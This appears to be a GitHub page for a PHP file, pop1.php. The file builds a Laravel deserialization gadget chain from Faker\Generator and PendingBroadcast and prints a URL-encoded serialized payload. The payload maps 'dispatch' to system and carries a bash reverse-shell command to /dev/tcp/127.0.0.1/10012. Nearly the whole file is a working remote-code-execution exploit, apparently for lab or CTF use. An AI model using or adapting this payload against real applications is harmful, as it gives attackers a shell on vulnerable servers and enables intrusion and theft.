-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathpop1.php
More file actions
31 lines (27 loc) · 704 Bytes
/
Copy pathpop1.php
File metadata and controls
31 lines (27 loc) · 704 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$b = new Faker\Generator(array('dispatch'=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/10012 0>&1'");
echo urlencode(serialize($a));
}